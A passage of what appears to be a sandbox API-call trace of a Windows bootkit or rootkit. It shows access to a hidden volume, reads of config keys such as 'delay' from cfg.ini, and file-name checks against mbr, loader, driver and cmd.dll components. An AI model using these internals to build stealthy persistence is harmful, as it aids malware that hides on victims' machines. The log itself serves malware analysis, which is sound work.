FileObject=0xfffffa8003bbd070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.714] KeLeaveCriticalRegion () [0120.715] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.715] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.715] KeEnterCriticalRegion () [0120.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.715] ExFreePoolWithTag (P=0xfffffa8003bbb340, Tag=0x0) [0120.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.715] KeLeaveCriticalRegion () [0120.715] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.715] ReleaseMutex (hMutex=0xf0) returned 1 [0120.715] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.715] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.715] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.715] KeEnterCriticalRegion () [0120.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.715] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.715] IdePortDispatch () returned 0x103 [0120.715] KeWaitForMutexObject () returned 0x0 [0120.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.715] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.715] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.715] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.715] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.715] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb010 [0120.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.715] KeLeaveCriticalRegion () [0120.715] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.715] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.715] KeEnterCriticalRegion () [0120.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.715] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.715] KeLeaveCriticalRegion () [0120.715] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.716] KeEnterCriticalRegion () [0120.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.716] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.716] IdePortDispatch () returned 0x103 [0120.716] KeWaitForMutexObject () returned 0x0 [0120.716] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.716] KeLeaveCriticalRegion () [0120.716] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.716] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.716] KeEnterCriticalRegion () [0120.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.716] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c9000 [0120.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.716] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.716] IdePortDispatch () returned 0x103 [0120.716] KeWaitForMutexObject () returned 0x0 [0120.716] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.716] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.716] IdePortDispatch () returned 0x103 [0120.717] KeWaitForMutexObject () returned 0x0 [0120.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.717] KeLeaveCriticalRegion () [0120.717] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.717] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.717] KeEnterCriticalRegion () [0120.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.717] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.717] KeLeaveCriticalRegion () [0120.717] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.717] KeEnterCriticalRegion () [0120.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.717] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.717] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.717] KeLeaveCriticalRegion () [0120.717] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.717] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.717] KeEnterCriticalRegion () [0120.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.717] ExFreePoolWithTag (P=0xfffffa8003bbb010, Tag=0x0) [0120.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.718] KeLeaveCriticalRegion () [0120.718] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.718] ReleaseMutex (hMutex=0xf0) returned 1 [0120.718] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.718] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.718] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.718] KeEnterCriticalRegion () [0120.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.718] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.718] IdePortDispatch () returned 0x103 [0120.718] KeWaitForMutexObject () returned 0x0 [0120.718] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.718] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.718] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.718] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.718] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.718] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba600 [0120.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.718] KeLeaveCriticalRegion () [0120.718] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.718] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.718] KeEnterCriticalRegion () [0120.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.718] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.718] KeLeaveCriticalRegion () [0120.718] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.718] KeEnterCriticalRegion () [0120.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.718] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.718] IdePortDispatch () returned 0x103 [0120.719] KeWaitForMutexObject () returned 0x0 [0120.719] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.719] KeLeaveCriticalRegion () [0120.719] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.719] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.719] KeEnterCriticalRegion () [0120.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.719] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ca000 [0120.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.719] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.719] IdePortDispatch () returned 0x103 [0120.719] KeWaitForMutexObject () returned 0x0 [0120.719] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.719] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.719] IdePortDispatch () returned 0x103 [0120.719] KeWaitForMutexObject () returned 0x0 [0120.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.720] KeLeaveCriticalRegion () [0120.720] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.720] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.720] KeEnterCriticalRegion () [0120.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.720] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.720] KeLeaveCriticalRegion () [0120.720] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.720] KeEnterCriticalRegion () [0120.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.720] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.720] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.720] KeLeaveCriticalRegion () [0120.720] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.720] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.720] KeEnterCriticalRegion () [0120.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.720] ExFreePoolWithTag (P=0xfffffa8003bba600, Tag=0x0) [0120.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.720] KeLeaveCriticalRegion () [0120.720] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.720] ReleaseMutex (hMutex=0xf0) returned 1 [0120.721] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.721] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.721] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.721] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.721] KeEnterCriticalRegion () [0120.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.721] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.721] IdePortDispatch () returned 0x103 [0120.721] KeWaitForMutexObject () returned 0x0 [0120.721] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.721] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.721] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.721] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.721] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.721] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.721] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.721] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.721] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.721] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.721] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.721] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.721] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.721] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.721] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.721] KeLeaveCriticalRegion () [0120.721] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.721] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.721] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.721] KeEnterCriticalRegion () [0120.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.721] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.721] IdePortDispatch () returned 0x103 [0120.722] KeWaitForMutexObject () returned 0x0 [0120.722] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.722] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.722] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.722] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.722] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.722] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.722] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.722] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.722] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.722] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.722] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.722] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.722] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.722] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.722] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.722] KeLeaveCriticalRegion () [0120.722] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.722] ReleaseMutex (hMutex=0x100) returned 1 [0120.722] Sleep (dwMilliseconds=0x2bf20) [0120.728] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b27c8f0, dwHighDateTime=0x1d24fa4)) [0120.728] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.728] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.728] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.728] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.728] KeEnterCriticalRegion () [0120.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.728] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.729] IdePortDispatch () returned 0x103 [0120.729] KeWaitForMutexObject () returned 0x0 [0120.729] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.729] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.729] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.729] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.729] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.729] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb0e0 [0120.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.729] KeLeaveCriticalRegion () [0120.729] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.729] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.729] KeEnterCriticalRegion () [0120.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.729] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.729] KeLeaveCriticalRegion () [0120.729] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.729] KeEnterCriticalRegion () [0120.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.729] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.729] IdePortDispatch () returned 0x103 [0120.729] KeWaitForMutexObject () returned 0x0 [0120.729] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.729] KeLeaveCriticalRegion () [0120.729] IofCompleteRequest 